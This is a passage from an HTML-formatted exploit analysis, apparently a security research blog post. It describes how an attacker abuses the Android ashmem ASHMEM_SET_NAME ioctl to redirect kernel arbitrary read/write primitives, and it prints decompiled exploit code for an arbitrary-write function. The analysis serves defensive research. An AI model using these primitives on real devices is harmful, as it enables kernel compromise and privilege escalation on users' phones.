white-space-collapse: preserve;">mutex_unlock(&buffer->mutex);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> backing store itself can be subsequently modified by an attacker using the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> ioctl command </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ASHMEM_SET_NAME</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> in order to change the kernel pointer used for the arbitrary read and write primitives. The final arbitrary write primitive (for example) looks like this:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">arb_write(</span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">long</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">dst,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*src,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__int64</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">page_offset;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// x8</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__int128</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">v5;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// q0</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__int64</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">neg_idx;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// x24</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*data_to_write;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// x21</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">tmp_name_buffer[</span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">256</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">];</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// [xsp+0h] [xbp-260h] BYREF</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">name_buffer[</span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">256</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">];</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// [xsp+100h] [xbp-160h] BYREF</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">v13;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">// [xsp+200h] [xbp-60h]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memset(tmp_name_buffer,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">sizeof</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(tmp_name_buffer));</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">page_offset</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*(_QWORD</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*)(*(_QWORD</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*)(qword_898840</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">24</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1056LL</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(page_offset</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0x8000000000000000LL</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">==</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">while</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//dst is the kernel address we will write to</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: 